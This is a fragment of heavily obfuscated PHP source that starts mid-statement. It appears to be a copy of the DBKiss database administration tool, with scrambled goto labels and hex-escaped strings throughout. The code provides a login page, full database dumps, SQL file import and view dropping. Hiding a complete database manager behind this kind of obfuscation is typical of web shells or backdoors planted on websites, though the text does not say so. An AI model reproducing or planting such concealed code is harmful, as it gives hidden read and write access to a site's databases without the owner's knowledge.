array(); foreach ($types as $type) { $types2[$type] = $type; } return $types2; } goto s1X3e; hjTNA: $views = list_tables(true); goto c2Cai; YhQws: GET("\144\x75\x6d\160\137\x74\x61\142\154\145", "\163\164\x72\x69\x6e\147"); goto JkFcZ; rMHWz: function size($bytes) { return number_format(ceil($bytes / 1024), 0, '', "\40") . "\40\x6b"; } goto SkbHf; ugR3Q: function ht_loginform($vars) { extract($vars, EXTR_SKIP); ?>
<!doctypehtml><html><head><meta content="text/html; charset=utf-8"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title>SQLite authentication</title><link href="<?php  echo $_SERVER["\120\x48\120\137\x53\105\x4c\x46"]; ?>
?dbkiss_favicon=1"rel="shortcut icon"><meta content="noindex,nofollow"name="robots"><style type="text/css">body{font:11px Tahoma;line-height:1.4em}input{font:11px Tahoma}body{margin:1em 1.5em;padding:0}h1{font:bold 15px Tahoma;text-shadow:1px 1px 1px #fff;color:#000;margin-bottom:.85em;border-bottom:#999 1px solid;padding-bottom:.25em}div.submit{margin-top:1em}div.error{margin:1em 0;color:#e10000}div.remember{margin-top:.5em}</style></head><body><h1>SQLite authentication</h1><?php  if ("\120\117\x53\124" == $_SERVER["\122\105\x51\x55\x45\x53\124\x5f\115\x45\x54\110\x4f\104"]) { ?>
<div class="error">Invalid credentials provided. Try again.</div><?php  } ?>
<form action="<?php  echo strip_tags($_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\x52\x49"]); ?>
"method="post"><input value="<?php  echo htmlspecialchars($p_referer); ?>
"name="ht_referer"type="hidden"> <label>User:</label><div><input value="<?php  echo htmlspecialchars($p_user); ?>
"name="ht_user"id="ht_user"></div><label>Password:</label><div><input value=""name="ht_password"type="password"id="ht_password"></div><div class="remember"><input value="1"name="ht_remember"type="checkbox"id="ht_remember"checked<?php  if ($p_remember) { } ?>
> <label for="ht_remember">remember me (2 weeks)</label></div><div class="submit"><input value="Log in"type="submit"class="button"></div></form><script>window.onload=function(){var e=document.getElementById("ht_user"),t=document.getElementById("ht_password");e.value.length?t.focus():e.focus()}</script></body></html><?php  } goto bGT_4; eDglQ: function flash() { static $is_style = false; $flash_error = cookie_get("\x66\x6c\141\x73\x68\137\145\x72\x72\x6f\x72"); $flash_ok = cookie_get("\146\154\x61\x73\x68\x5f\157\153"); $flash_notify = cookie_get("\x66\154\x61\x73\150\x5f\x6e\x6f\164\151\146\171"); if (!($flash_error || $flash_ok || $flash_notify)) { return false; } ob_start(); if (!$is_style) { ?>
<style type="text/css">#flash{background:#ffffd7;padding:.3em;padding-bottom:.15em;border:#ddd 1px solid;margin-bottom:1em}#flash div{padding:0 0}#flash table{font-weight:400}#flash td{text-align:left}</style><?php  } ?>
<div id="flash"ondblclick='document.getElementById("flash").style.display="none"'><table ondblclick='document.getElementById("flash").style.display="none"'width="100%"><tr><td style="line-height:14px"><?php  echo $flash_error ? $flash_error : ($flash_ok ? $flash_ok : $flash_notify); ?>
</td></tr></table></div><?php  $cont = ob_get_contents(); ob_end_clean(); if ($flash_error) { cookie_del("\146\x6c\141\x73\150\137\145\x72\x72\x6f\162"); } else { if ($flash_ok) { cookie_del("\x66\x6c\141\x73\150\137\157\153"); } else { if ($flash_notify) { cookie_del("\x66\x6c\141\x73\x68\137\x6e\157\x74\x69\x66\x79"); } } } $is_style = true; return $cont; } goto oBJjW; UW_1v: GET("\144\x75\x6d\160\x5f\x61\154\x6c", "\x69\156\x74"); goto iY0QN; s7BGF: function SQLite_DoChecks() { if (defined("\x53\x51\114\111\x54\105\x5f\106\x49\x4c\x45") || defined("\x53\x51\x4c\111\124\x45\137\x55\123\x45\x52") || defined("\x53\x51\x4c\111\124\x45\x5f\x50\101\x53\x53\x57\117\122\104") || defined("\x53\121\114\111\x54\x45\x5f\x49\x4e\x53\x45\x43\x55\122\105")) { if (!defined("\123\x51\x4c\x49\x54\x45\x5f\106\x49\114\x45")) { trigger_error("\x53\121\114\x49\x54\x45\137\106\111\x4c\105\40\151\163\40\156\157\x74\40\x64\x65\146\151\156\x65\x64\x2e", E_USER_ERROR); } if (defined("\123\x51\x4c\x49\124\x45\x5f\111\116\123\105\103\125\122\105")) { if (defined("\x53\121\x4c\111\x54\x45\x5f\125\x53\105\122") || defined("\123\x51\114\111\x54\x45\x5f\120\101\123\x53\127\117\122\104")) { trigger_error("\123\121\x4c\x49\x54\x45\137\x49\116\x53\105\103\x55\x52\x45\x20\x69\163\40\x64\145\146\x69\156\145\x64\x2c\x20\x62\165\164\40\123\121\114\x49\x54\105\x5f\x55\x53\105\x52\x20\141\x6e\x64\x20\x53\x51\x4c\111\x54\105\137\x50\x41\x53\x53\x57\117\x52\104\x20\x68\141\166\x65\40\141\x6c\x73\157\x20\142\145\145\x6e\40\x64\145\x66\x69\x6e\145\x64\x20\x2d\x20\x74\150\x61\x74\40\x69\163\x20\156\x6f\164\x20\x61\154\154\x6f\167\x65\x64\x2e", E_USER_ERROR); } if (!SQLITE_INSECURE) { trigger_error("\123\x51\x4c\x49\x54\105\x5f\x49\x4e\x53\105\103\125\122\x45\40\x68\x61\x73\40\142\145\x65\156\x20\x73\x65\x74\x20\164\157\x20\60\x20\x2d\40\164\x68\x61\164\40\151\163\x20\141\156\x20\151\156\166\x61\154\151\144\40\x75\x73\x65\40\x6f\x66\x20\x74\x68\x69\x73\x20\x63\x6f\156\x73\x74\x61\156\164\54\40\x79\157\165\40\x63\141\x6e\x20\157\x6e\154\x79\x20\163\x65\164\40\151\164\40\x74\x6f\40\61\x20\157\162\x20\x64\x6f\40\x6e\x6f\x74\x20\x64\x65\146\x69\156\145\x20\151\x74\40\141\x74\x20\x61\154\x6c\56", E_USER_ERROR); } } else { if (!defined("\123\121\x4c\111\x54\x45\137\125\x53\105\x52")) { trigger_error("\x53\121\114\111\124\105\x5f\125\x53\x45\x52\40\x69\x73\40\156\157\164\x20\x64\x65\x66\151\156\x65\x64\56", E_USER_ERROR); } if (!defined("\123\x51\x4c\111\x54\105\137\x50\x41\x53\123\127\117\x52\104")) { trigger_error("\x53\121\x4c\111\124\105\x5f\120\101\x53\123\127\x4f\122\104\40\x69\163\x20\156\157\x74\x20\144\x65\146\151\x6e\x65\144\56", E_USER_ERROR); } } if (!extension_loaded("\x70\144\157")) { trigger_error("\x50\x44\x4f\x20\145\170\164\x65\156\x73\x69\157\156\x20\x69\x73\40\156\x6f\x74\x20\x6c\x6f\141\144\145\x64", E_USER_ERROR); } if (!extension_loaded("\x70\x64\x6f\137\163\x71\154\x69\164\x65")) { trigger_error("\x50\104\x4f\137\x53\x51\114\x49\x54\105\x20\x65\x78\x74\145\156\x73\x69\x6f\x6e\40\151\x73\x20\x6e\x6f\164\x20\x6c\157\141\x64\x65\144\56", E_USER_ERROR); } if (defined("\x53\121\x4c\111\x54\x45\x5f\111\116\123\x45\103\125\122\105")) { } else { if (!trim(SQLITE_USER)) { trigger_error("\x53\121\114\x49\x54\x45\x5f\125\x53\x45\x52\x20\143\141\x6e\x6e\x6f\164\x20\142\145\40\145\x6d\160\164\171\x2e", E_USER_ERROR); } if (SQLITE_USER == "\155\171\x75\163\145\162") { trigger_error("\123\x51\114\111\124\105\x3a\x20\x79\157\165\x20\143\141\156\x6e\157\164\x20\x75\x73\x65\x20\164\x68\x65\x20\144\x65\146\x61\165\x6c\164\40\165\x73\145\x72\x6e\x61\155\x65\40\140\x6d\171\x75\163\145\x72\140\54\x20\x63\x68\x61\x6e\147\145\x20\151\164\40\x74\157\x20\163\x6f\155\145\x20\157\164\x68\x65\162\40\156\141\x6d\x65\x2e", E_USER_ERROR); } if (SQLITE_PASSWORD == "\x33\x34\x38\61\71\x64\67\142\145\145\x61\x62\x62\x39\x32\x36\x30\141\x35\143\70\65\64\x62\143\70\x35\142\x33\145\x34\x34") { trigger_error("\123\121\114\111\124\x45\x3a\40\x79\x6f\x75\40\143\141\x6e\x6e\157\x74\40\x75\x73\x65\40\x74\x68\145\x20\144\x65\146\x61\x75\x6c\x74\x20\x6d\144\65\x20\x68\x61\163\150\x20\157\x66\x20\x61\40\x70\x61\x73\163\167\157\x72\x64\x20\164\x68\141\x74\40\x77\141\163\40\x70\x72\157\166\151\144\x65\x64\x20\167\x69\164\150\x20\x74\x68\145\x20\x65\x78\x61\x6d\x70\154\x65\x2e", E_USER_ERROR); } if (strlen(SQLITE_PASSWORD) != 32) { trigger_error("\x53\x51\114\111\124\x45\72\x20\164\150\x65\40\154\145\x6e\x67\164\x68\x20\157\x66\40\155\x64\x35\40\x68\141\x73\x68\40\157\x66\x20\x61\40\x70\141\x73\x73\x77\157\162\144\x20\x64\145\x66\151\156\145\x64\x20\x69\x6e\x20\123\121\114\111\x54\x45\137\120\x41\123\123\x57\x4f\122\104\40\x69\163\40\x6e\157\x74\x20\63\62\40\x63\150\141\162\x73\x2c\x20\164\x68\x69\x73\x20\x69\163\x20\156\x6f\x74\40\x61\40\166\141\x6c\x69\144\x20\155\x35\x20\x68\141\163\x68\x2e", E_USER_ERROR); } } if (is_dir(SQLITE_FILE)) { trigger_error("\123\121\x4c\x49\x54\105\x5f\106\111\114\x45\40\x69\x73\x20\141\x20\x64\x69\162\x65\x63\x74\x6f\x72\x79\x2e", E_USER_ERROR); } if (file_exists(SQLITE_FILE)) { if (!is_readable(SQLITE_FILE)) { trigger_error("\123\121\114\x49\124\x45\x5f\x46\111\x4c\105\x20\151\163\x20\x6e\x6f\x74\x20\x72\145\141\x64\x61\142\154\145\x2e", E_USER_ERROR); } if (!is_writable(SQLITE_FILE)) { trigger_error("\x53\x51\x4c\111\124\x45\x5f\x46\x49\x4c\x45\x20\151\x73\x20\156\157\x74\40\x77\x72\x69\x74\x61\142\x6c\x65\56", E_USER_ERROR); } } if (!is_writable(dirname(SQLITE_FILE))) { trigger_error("\123\x51\114\x49\124\x45\x5f\x46\x49\114\x45\x20\x64\151\162\x65\143\x74\x6f\162\x79\40\x6d\165\x73\x74\x20\142\145\x20\167\162\151\x74\x61\142\154\x65\56", E_USER_ERROR); } if (!defined("\x53\121\x4c\111\124\x45\137\105\123\124\111\115\101\x54\105\137\x43\117\x55\x4e\x54")) { define("\123\x51\x4c\x49\x54\105\137\105\123\124\x49\x4d\x41\124\105\x5f\x43\x4f\125\116\x54", 50 * 1024 * 1024); } define("\x53\121\x4c\x49\124\x45\137\125\x53\105\x44", 1); } else { define("\x53\121\x4c\x49\124\x45\x5f\125\123\105\104", 0); } } goto U5qfC; WFV9f: function dir_read($dir, $ignore_ext = array(), $allow_ext = array(), $sort = null) { if (is_null($ignore_ext)) { $ignore_ext = array(); } if (is_null($allow_ext)) { $allow_ext = array(); } foreach ($allow_ext as $k => $ext) { $allow_ext[$k] = str_replace("\56", '', $ext); } $ret = array(); if ($handle = opendir($dir)) { while (($file = readdir($handle)) !== false) { if ($file != "\x2e" && $file != "\56\56") { $ignore = false; foreach ($ignore_ext as $ext) { if (file_ext_has($file, $ext)) { $ignore = true; } } if (is_array($allow_ext) && count($allow_ext) && !in_array(file_ext($file), $allow_ext)) { $ignore = true; } if (!$ignore) { $ret[] = array("\146\x69\154\x65" => $dir . "\x2f" . $file, "\x74\x69\155\x65" => filemtime($dir . "\x2f" . $file)); } } } closedir($handle); } if ("\144\x61\x74\145\137\x64\x65\163\143" == $sort) { $ret = array_sort_desc($ret, "\164\x69\x6d\145"); } return array_col($ret, "\x66\x69\x6c\145"); } goto tZ7Ec; SV1wk: function create_links_eval($link) { $orig_link = $link; $cutted = ''; if (in_array($link[strlen($link) - 1], array("\x3a", "\x3b", "\56", "\54"))) { $link = substr($link, 0, -1); $cutted = $orig_link[strlen($orig_link) - 1]; } if (($pos = strpos($link, "\x28")) !== false) { if (strpos($link, "\51") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } else { if (($pos = strpos($link, "\51")) !== false) { if (strpos($link, "\50") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } else { if (($pos = strpos($link, "\x5b")) !== false) { if (strpos($link, "\135") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } else { if (($pos = strpos($link, "\135")) !== false) { if (strpos($link, "\x5b") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } else { if (($pos = strpos($link, "\x7b")) !== false) { if (strpos($link, "\x7d") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } else { if (($pos = strpos($link, "\x7d")) !== false) { if (strpos($link, "\x7b") === false) { $link = substr($link, 0, $pos); $cutted = substr($orig_link, $pos); } } } } } } } return "\x3c\141\x20\x74\x69\164\154\x65\x3d\42{$link}\42\x20\163\x74\x79\154\x65\x3d\42\x63\x6f\154\x6f\162\72\40\43\60\x30\x30\x3b\x20\x74\145\x78\x74\55\x64\145\143\157\x72\141\164\151\x6f\x6e\x3a\x20\x6e\157\156\x65\73\40\x62\157\x72\144\x65\x72\55\x62\x6f\x74\164\157\x6d\72\x20\x23\60\60\60\40\61\160\170\40\144\x6f\x74\x74\x65\144\73\x22\40\x68\x72\145\146\75\42\152\141\166\x61\163\143\x72\151\160\x74\x3a\x3b\42\40\157\x6e\143\154\151\143\x6b\x3d\42\x6c\x69\x6e\x6b\x5f\x6e\157\x72\x65\146\x65\x72\x65\162\50\x27{$link}\47\51\42\x3e{$link}\74\57\141\x3e{$cutted}"; } goto lWI8e; VYB7z: function redirect_ok($url, $msg) { if (strpos($msg, "\x3c") === false) { $msg = sprintf("\x3c\x62\x3e\x25\163\x3c\x2f\x62\x3e", $msg); } cookie_set("\x66\x6c\x61\163\x68\x5f\157\153", $msg); redirect($url); } goto yxVdI; ZJMce: echo $_SERVER["\x50\110\120\x5f\x53\105\x4c\x46"]; goto XjEPj; kqd73: if (views_supported()) { ?>
<div style="float:left;margin-left:3em"><?php  $views = table_filter($views, $_GET["\x74\141\x62\154\145\137\x66\x69\154\164\x65\x72"]); if ($_GET["\164\x61\x62\154\x65\137\x66\151\154\x74\145\162"]) { ?>
<p>Views found: <b><?php  echo count($views); ?>
</b></p><?php  } ?>
<table cellspacing="0"class="ls tables"style="margin-top:1em"><tr><th style="min-width:70px">View</th><th><a href="<?php  echo $_SERVER["\x50\x48\120\x5f\x53\105\114\106"]; ?>
?table_filter=<?php  echo urlencode($_GET["\164\x61\142\x6c\x65\x5f\x66\151\154\x74\x65\162"]); ?>
&views_count=<?php  echo $_GET["\166\x69\145\167\x73\x5f\143\157\165\156\x74"] ? 0 : 1; ?>
"class="blue"style="color:#000;text-decoration:underline"title="Click to enable/disable counting in Views">Count</a></th><th style="min-width:65px">Options</th></tr><?php  if (!count($views)) { ?>
<tr><td style="padding:.25em .5em"align=""colspan="3">No views found.</td></tr><?php  } foreach ($views as $view) { $view_enq = quote_table($view); ?>
<tr><td><a href="<?php  echo $_SERVER["\120\110\120\137\x53\x45\114\106"]; ?>
?viewtable=<?php  echo $view; ?>
"class="blue"><?php  echo $view; ?>
</a></td><?php  if ($_GET["\166\151\x65\167\x73\x5f\143\x6f\165\x6e\x74"]) { $count = db_one("\123\105\x4c\105\103\x54\40\103\117\125\116\124\50\x2a\x29\x20\x46\x52\117\x4d\x20{$view_enq}"); } else { $count = null; } ?>
<td align="right"><?php  echo isset($count) ? number_format($count, 0, '', "\x20") : "\55"; ?>
</td><td><a href="<?php  echo $_SERVER["\x50\x48\x50\137\x53\105\x4c\x46"]; ?>
?dump_table=<?php  echo $view; ?>
&type=view">Export</a> -<form action="<?php  echo $_SERVER["\x50\110\x50\x5f\123\x45\114\x46"]; ?>
"method="post"style="display:inline"name="drop_<?php  echo $view; ?>
"><input value="<?php  echo $view; ?>
"name="drop_view"type="hidden"></form><a href="javascript:void(0)"onclick='confirm("DROP VIEW<?php  echo AttributeValue($view_enq); ?>
?")&&document.forms.drop_<?php  echo $view; ?>
.submit()'>Drop</a></td></tr><?php  } ?>
</table></div><?php  } goto MoQHX; rru75: function db_insert_id($table = null, $pk = null) { global $db_driver, $db_link; if ("\155\171\163\161\154" == $db_driver) { return mysql_insert_id($_db["\x63\x6f\x6e\156\x5f\151\x64"]); } else { if ("\160\147\163\x71\154" == $db_driver) { if (!$table || !$pk) { trigger_error("\x64\142\x5f\x69\156\163\x65\162\164\137\x69\x64\x28\x29\x3a\40\164\141\x62\x6c\x65\40\46\x20\160\x6b\x20\x72\145\161\165\x69\162\x65\x64", E_USER_ERROR); } $seq_id = $table . "\137" . $pk . "\137\163\145\x71"; return db_seq_id($seq_id); } else { if ("\x73\161\x6c\151\164\x65" == $db_driver) { global $PDO; return $PDO->lastInsertId(); } } } } goto RsJtD; v0SYE: if ($_POST["\x73\x71\x6c\x66\151\x6c\145"]) { $files = sql_files_assoc(); if (!isset($files[$_POST["\163\161\154\x66\x69\x6c\x65"]])) { die("\106\x69\x6c\x65\40\156\157\x74\x20\146\157\165\x6e\144\x2e\40\x6d\x64\x35\40\x3d\40" . $_POST["\163\161\154\146\151\154\145"]); } $sqlfile = $files[$_POST["\163\161\x6c\146\151\x6c\x65"]]; layout(); echo "\74\x64\151\x76\x3e\111\155\160\157\x72\x74\x69\156\x67\x3a\x20\x3c\142\x3e" . $sqlfile . "\x3c\57\x62\76\x20\x28" . size(filesize($sqlfile)) . "\x29\x3c\x2f\x64\151\x76\x3e"; echo "\74\x64\151\166\76\104\141\x74\x61\x62\x61\x73\145\x3a\40\74\x62\x3e" . $db_name . "\74\x2f\142\x3e\74\57\144\151\166\x3e"; flush(); import($sqlfile, $_POST["\151\x67\156\x6f\x72\x65\x5f\145\x72\162\157\x72\x73"], $_POST["\x74\x72\x61\156\x73\x61\143\164\151\x6f\x6e"], $_POST["\x66\x6f\162\143\x65\137\x6d\x79\151\163\x61\x6d"], $_POST["\161\x75\x65\162\171\137\x73\x74\141\162\164"]); die; } goto kowwV; yr7yf: function db_error() { global $db_driver, $db_link; if ("\155\x79\163\x71\x6c" == $db_driver) { if (is_resource($db_link)) { if (mysql_error($db_link)) { $error = mysql_error($db_link); return $error . "\40\x28" . mysql_errno($db_link) . "\x29"; } else { return false; } } else { if (mysql_error()) { return mysql_error() . "\40\50" . mysql_errno() . "\51"; } else { return false; } } } else { if ("\x70\147\163\x71\154" == $db_driver) { if (is_resource($db_link)) { return pg_last_error($db_link); } else { global $Global_LastError; return $Global_LastError; } } else { if ("\x73\x71\154\151\164\145" == $db_driver) { global $PDO; if ($PDO) { $error = $PDO->errorInfo(); if ("\x30\x30\60\60\x30" != $error[0] || $error[1]) { return "\x28{$error["\x30"]}\51\40\50{$error["\x31"]}\51\x20{$error["\62"]}"; } else { return false; } } } } } } goto MSmIJ; wEt6h: function errorHandler_last() { if (function_exists("\x65\x72\x72\x6f\162\x5f\x67\x65\164\137\x6c\141\163\164")) { $error = error_get_last(); if ($error) { errorHandler($error["\x74\x79\160\145"], $error["\x6d\x65\x73\163\x61\147\145"], $error["\146\151\154\145"], $error["\x6c\151\x6e\145"]); } } } goto bXBYj; r2ah9: $charset1 = charset_assoc($charset1); goto N3mDn; GQOZz: ?>
<p>Tables: <b><?php  goto RwjnR; kMpS2: ini_set("\144\x69\163\x70\x6c\x61\x79\x5f\x65\162\x72\157\162\163", 1); goto Ddh4d; dPuLU: function array_sort_desc($arr, $col_key) { if (is_array($col_key)) { foreach ($arr as $k => $v) { $arr[$k]["\x5f\x5f\x61\162\x72\x61\171\137\163\x6f\x72\164"] = ''; foreach ($col_key as $col) { $arr[$k]["\137\137\141\162\x72\141\171\137\x73\157\162\x74"] .= $arr[$k][$col] . "\x5f"; } } $col_key = "\137\x5f\141\x72\162\141\171\x5f\x73\x6f\x72\164"; } uasort($arr, create_function("\44\x61\x2c\44\x62", "\x72\145\x74\x75\x72\156\40\163\164\x72\x6e\x61\164\143\x61\x73\x65\143\155\160\x28\x24\142\x5b\x22" . $col_key . "\42\x5d\x2c\40\x24\x61\x5b\42" . $col_key . "\42\x5d\x29\73")); if ("\x5f\137\141\x72\162\141\171\x5f\163\x6f\162\164" == $col_key) { foreach ($arr as $k => $v) { unset($arr[$k]["\x5f\137\141\x72\x72\x61\x79\137\x73\157\x72\x74"]); } } return $arr; } goto MJRs1; f37Rw: function db_close() { global $db_driver, $db_link; if (is_resource($db_link)) { if ("\x6d\171\x73\x71\154" == $db_driver) { mysql_close($db_link); } if ("\x70\x67\163\161\154" == $db_driver) { pg_close($db_link); } } } goto yaVCA; iY0QN: if (1 == $_GET["\144\165\x6d\x70\137\141\x6c\x6c"]) { dump_all($data = false); } else { if (2 == $_GET["\x64\x75\155\x70\x5f\x61\x6c\x6c"]) { dump_all($data = true); } } goto YhQws; lPLJR: POST("\163\161\x6c\146\151\x6c\145", "\163\164\162\151\x6e\x67"); goto xmSDA; mD15c: function table_columns($table) { global $db_driver, $global_columns; static $cache_columns = array(); if (isset($cache_columns[$table])) { return $cache_columns[$table]; } if ("\155\171\x73\x71\x6c" == $db_driver) { $columns = array(); $rows = @db_list("\x53\x48\117\x57\x20\103\x4f\x4c\x55\115\116\123\x20\106\122\117\x4d\x20\x60{$table}\140"); if (!($rows && count($rows))) { return false; } if (!isset($global_columns[$table])) { $global_columns[$table] = array(); } foreach ($rows as $row) { $type = $row["\124\171\160\145"]; preg_match("\43\x5e\133\x61\55\x7a\135\53\x23\x69", $type, $match); $type = strtolower($match[0]); $type = ColumnType($type); $columns[$row["\106\151\x65\154\x64"]] = $type; $global_columns[$table][] = array("\x6e\x61\155\x65" => $row["\106\x69\x65\x6c\x64"], "\164\171\x70\145" => $type, "\160\x6b" => $row["\x4b\145\171"] == "\120\122\111" || $row["\x4b\145\x79"] == "\125\116\111", "\x6e\x6f\x74\x6e\165\154\154" => $row["\x4e\165\154\x6c"] == "\x4e\117", "\144\x65\x66\x61\x75\x6c\164" => $row["\104\x65\146\141\x75\x6c\x74"]); } } else { if ("\x70\147\163\x71\x6c" == $db_driver) { $columns = db_list("\123\x45\114\x45\103\x54\40\x63\x6f\x6c\165\155\x6e\137\156\141\155\145\x2c\40\x75\x64\x74\x5f\156\141\155\145\x2c\x20\x63\x6f\x6c\165\155\156\137\144\x65\x66\x61\x75\x6c\x74\54\40\x69\163\137\x6e\165\154\x6c\141\x62\x6c\x65\x20\106\x52\x4f\115\x20\x69\156\x66\x6f\162\155\x61\164\151\x6f\x6e\x5f\x73\143\150\x65\155\141\56\143\x6f\x6c\x75\155\156\163\x20\127\x48\x45\122\x45\x20\x74\141\x62\x6c\145\x5f\156\x61\x6d\145\x20\75\40\x27{$table}\47\40\117\122\x44\105\x52\x20\102\x59\x20\x6f\x72\x64\x69\x6e\x61\x6c\x5f\160\x6f\x73\x69\x74\151\157\x6e"); dump($columns); if (!count($columns)) { return false; } foreach ($columns as $col => $type) { preg_match("\x23\136\x5b\141\x2d\172\x5f\x5d\x2b\43\x69", $type, $match); $type = strtolower($match[0]); $type = ColumnType($type); $columns[$col] = $type; } } else { if ("\x73\x71\154\151\x74\145" == $db_driver) { $rawColumns = db_list("\x50\x52\101\x47\x4d\x41\40\164\x61\x62\x6c\145\x5f\151\156\x66\157\50\x22{$table}\x22\51"); if (!count($rawColumns)) { return false; } foreach ($rawColumns as $row) { if ($row["\x74\x79\x70\145"]) { preg_match("\43\x5e\x5b\141\x2d\172\135\x2b\43\x69", $row["\x74\171\160\145"], $match); $type = strtolower($match[0]); $type = ColumnType($type); } else { $type = ''; } $col = $row["\x6e\x61\x6d\x65"]; $columns[$col] = $type; $global_columns[$table][] = array("\156\141\155\145" => $row["\x6e\x61\155\x65"], "\164\171\160\145" => $type, "\160\153" => (int) $row["\160\153"], "\156\157\164\156\165\154\x6c" => (int) $row["\156\157\x74\x6e\x75\x6c\x6c"], "\x64\x65\146\141\x75\x6c\x74" => $row["\144\146\154\164\x5f\x76\141\154\x75\145"]); } } } } $cache_columns[$table] = $columns; return $columns; } goto FTNSs; TwbDZ: if ("\x50\x4f\x53\124" == $_SERVER["\122\x45\x51\125\x45\123\124\137\x4d\105\x54\110\x4f\104"]) { if (isset($_SERVER["\x48\124\124\120\137\x4f\x52\x49\x47\x49\x4e"])) { $origin = $_SERVER["\110\124\x54\x50\x5f\117\122\111\x47\x49\x4e"]; $origin = str_replace("\150\x74\164\x70\x73\72\57\57", "\150\x74\x74\x70\72\x2f\x2f", $origin); $address = "\150\164\x74\x70\x3a\57\57" . $_SERVER["\123\105\x52\x56\x45\x52\137\x4e\x41\x4d\x45"]; if ($_SERVER["\123\x45\x52\126\x45\122\137\120\x4f\x52\x54"] != 80) { $address .= "\72" . $_SERVER["\x53\x45\122\x56\105\x52\x5f\120\x4f\x52\124"]; } if (strpos($origin, $address) !== 0) { trigger_error("\x43\x53\x52\x46\40\x70\x72\x6f\164\x65\143\x74\x69\x6f\156\x20\x69\156\40\120\x4f\123\x54\x20\x72\x65\161\x75\145\x73\x74\72\40\x64\x65\x74\145\143\x74\145\x64\40\151\156\166\x61\x6c\151\144\x20\117\162\x69\x67\x69\156\x20\x68\145\x61\144\x65\162\72\40" . $_SERVER["\110\124\124\120\137\x4f\x52\111\x47\x49\x4e"], E_USER_ERROR); die; } } } goto hOA3Y; vn8sw: define("\x43\x4f\x4f\113\111\x45\x5f\127\105\x45\113", 604800); goto eJki2; CBrcN: define("\105\104\111\124\122\x4f\x57\137\x50\x4f\120\125\x50\x5f\x57\x49\104\124\110", 620); goto FRiIV; tSgiQ: error_reporting(-1); goto vG8l0; yflD7: POST("\x66\x6f\x72\x63\x65\x5f\x6d\x79\151\163\x61\x6d", "\x62\157\x6f\x6c"); goto wrHN_; uGGWD: function db_in_array($arr) { $in = ''; foreach ($arr as $v) { if ($in) { $in .= "\x2c"; } $in .= db_quote($v); } return $in; } goto YaynU; hFL3G: GET("\144\x69\x73\x63\157\156\156\145\x63\x74", "\142\157\157\154"); goto SNedA; lWI8e: function truncate_html($string, $length, $break_words = false, $end_str = "\x2e\x2e") { $inside_tag = false; $inside_amp = 0; $finished = false; $opened = 0; $string_len = strlen($string); $count = 0; $ret = ''; for ($i = 0; $i < $string_len; $i++) { $char = $string[$i]; $nextchar = isset($string[$i + 1]) ? $string[$i + 1] : null; if ("\x3c" == $char && ("\x2f" == $nextchar || ctype_alpha($nextchar))) { if ("\x2f" == $nextchar) { $opened--; } else { $opened++; } $inside_tag = true; } if ("\x3e" == $char) { $inside_tag = false; $ret .= $char; continue; } if ($inside_tag) { $ret .= $char; continue; } if (!$finished) { if ("\46" == $char) { $inside_amp = 1; $ret .= $char; continue; } if ("\x3b" == $char && $inside_amp) { $inside_amp = 0; $count++; $ret .= $char; continue; } if ($inside_amp) { $inside_amp++; $ret .= $char; if ("\43" == $char || ctype_alnum($char)) { if ($inside_amp > 7) { $count += $inside_amp; $inside_amp = 0; } } else { $count += $inside_amp; $inside_amp = 0; } continue; } } $count++; if (!$finished) { $ret .= $char; } if ($count >= $length) { if (!$inside_tag && !$inside_amp) { if (!$finished) { $ret .= $end_str; $finished = true; if (0 == $opened) { break; } } if (0 == $opened) { break; } } } } return $ret; } goto ogQzR; XQ0qY: function dump_all($data = false) { GET("\164\x61\142\x6c\x65\x5f\146\151\x6c\164\x65\162", "\163\164\x72\151\156\x67"); global $db_driver, $db_server, $db_name; ob_cleanup(); define("\x44\x45\x42\125\107\x5f\103\117\116\x53\x4f\x4c\x45\137\110\111\x44\105", 1); set_time_limit(0); $tables = list_tables(); $table_filter = $_GET["\x74\x61\142\154\x65\137\x66\x69\154\x74\145\x72"]; $tables = table_filter($tables, $table_filter); header("\103\x61\x63\150\x65\x2d\x63\x6f\156\x74\162\x6f\154\x3a\40\160\162\x69\x76\141\164\x65"); header("\103\x6f\x6e\164\145\156\x74\x2d\164\x79\x70\x65\x3a\40\x61\160\x70\154\x69\143\x61\x74\x69\x6f\156\57\x6f\x63\x74\145\x74\x2d\x73\164\x72\145\141\155"); header("\103\157\156\164\145\156\164\55\104\x69\x73\160\157\163\151\164\x69\157\x6e\x3a\40\x61\164\x74\141\143\150\x6d\x65\156\164\x3b\x20\146\151\154\145\x6e\141\155\x65\75" . $db_name . "\56\x73\x71\x6c"); echo "\55\55\xa"; if ($data) { echo "\x2d\55\x20\x44\x75\155\x70\40\164\171\x70\145\x3a\x20\x44\101\124\x41\40\46\40\x53\x54\x52\x55\103\124\x55\x52\105\12"; } else { echo "\55\55\40\104\165\x6d\x70\x20\164\x79\160\145\72\x20\123\124\x52\125\x43\x54\x55\122\105\40\x4f\x4e\x4c\x59\12"; } if ("\x73\161\154\151\164\x65" == $db_driver) { echo "\x2d\x2d\x20\x44\x61\x74\141\142\x61\x73\x65\x20\146\x69\x6c\x65\72\40{$db_server}\xa"; } else { echo "\x2d\x2d\x20\x44\141\164\x61\x62\x61\x73\x65\x3a\x20{$db_name}\xa"; } $date = date("\131\x2d\x6d\x2d\x64"); echo "\55\x2d\x20\x45\x78\x70\x6f\x72\x74\x65\144\40\157\156\72\x20{$date}\xa"; $version = DBKISS_VERSION; echo "\55\x2d\40\x50\x6f\x77\x65\162\x65\x64\x20\x62\x79\72\40\104\102\113\x69\x73\163\x20\x28\x68\164\164\160\72\57\57\x77\167\167\x2e\147\x6f\163\x75\56\x70\154\x2f\144\x62\153\151\163\163\57\51\xa"; echo "\55\x2d\xa\xa"; foreach ($tables as $key => $table) { echo "\x2d\55\x20\x54\x41\x42\x4c\x45\x3a\x20\42{$table}\42\12\12"; table_structure($table); if ($data) { echo "\55\x2d\x20\111\116\123\x45\x52\124\x53\x20\146\157\162\x3a\40\42{$table}\42\xa\xa"; table_data($table); } flush(); } unset($table); $views = list_tables(true); foreach ($views as $key => $view) { echo "\55\55\40\x56\111\x45\127\x3a\x20\42{$view}\x22\12\xa"; table_structure($view, "\x76\151\145\x77"); flush(); } echo "\x2d\55\12"; echo 